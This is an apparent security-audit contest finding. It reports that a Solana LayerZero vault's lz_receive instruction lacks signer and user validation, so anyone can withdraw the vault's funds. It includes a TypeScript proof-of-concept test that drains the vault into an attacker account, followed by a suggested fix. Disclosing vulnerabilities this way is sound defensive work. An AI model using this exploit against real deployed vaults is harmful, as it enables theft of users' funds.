Open sherlock-admin2 opened 4 days ago
Immense Rouge Goose
High
The lz_receive instruction allows anyone to be able to withdraw from the vault
lz_receive
There are no validations on the either the user_acccount or the signer
Exploit is Possible whenever there are funds present in the vault.
No response
This gives any unpriviledged party access to the funds in the vault at any point in time.
Add
let vault_balance_before = vaultBalance; const hacker = await Keypair.generate(); await provider.connection.confirmTransaction(await provider.connection.requestAirdrop(hacker.publicKey, 10 * LAMPORTS_PER_SOL), "confirmed"); const hackerTokenAccount = await getAssociatedTokenAddressSync(USDC_MINT, hacker.publicKey, true, TOKEN_PROGRAM_ID); await createAccount( // creates hacker token account provider.connection, hacker, USDC_MINT, hacker.publicKey, undefined, undefined, TOKEN_PROGRAM_ID ); let hacker_balance_before = await getTokenBalance(provider.connection, hackerTokenAccount); await program.methods .lzReceive({ srcEid: ETHEREUM_EID, sender: Array.from(wallet.publicKey.toBytes()), nonce: new BN('1'), guid: guid, message: message, extraData: Buffer.from([]) }) .accounts({ payer: hacker.publicKey, oappConfig: oappPda, peer: peerPda, user: hacker.publicKey, userDepositWallet: hackerTokenAccount, vaultDepositWallet: vaultDepositWallet.address, depositToken: USDC_MINT, tokenProgram: TOKEN_PROGRAM_ID, vaultAuthority: vaultAuthorityPda }) .remainingAccounts([ { pubkey: endpointProgram.programId, isWritable: true, isSigner: false, }, { pubkey: oappPda, // signer and receiver isWritable: true, isSigner: false, }, { pubkey: oappRegistryPda, isWritable: true, isSigner: false, }, { pubkey: noncePda, isWritable: true, isSigner: false, }, { pubkey: payloadHashPda, isWritable: true, isSigner: false, }, { pubkey: endpointPda, isWritable: true, isSigner: false, }, { pubkey: eventAuthorityPda, isWritable: true, isSigner: false, }, { pubkey: endpointProgram.programId, isWritable: true, isSigner: false, }, ]) .signers([hacker]) .rpc(confirmOptions) let hacker_balance_after = await getTokenBalance(provider.connection, hackerTokenAccount); // Check balance after lzReceive vaultBalance = await getTokenBalance(provider.connection, vaultDepositWallet.address) assert.equal(vaultBalance, 100, "Vault successfully drained by hacker(excluding fee)") const hackerBalance = await getTokenBalance(provider.connection, hackerTokenAccount) assert.equal(hacker_balance_after - hacker_balance_before, vault_balance_before - 100, "Hacker Wallet Succesfully received funds")
to lzReceive test suite
Validate Signer or User when lz_receive is called
Immense Rouge Goose
High
Any One Can Withdraw from the Vault When It has funds
Summary
The
lz_receive
instruction allows anyone to be able to withdraw from the vaultRoot Cause
There are no validations on the either the user_acccount or the signer
Internal pre-conditions
Exploit is Possible whenever there are funds present in the vault.
External pre-conditions
No response
Attack Path
No response
Impact
This gives any unpriviledged party access to the funds in the vault at any point in time.
PoC
Add
to lzReceive test suite
Mitigation
Validate Signer or User when lz_receive is called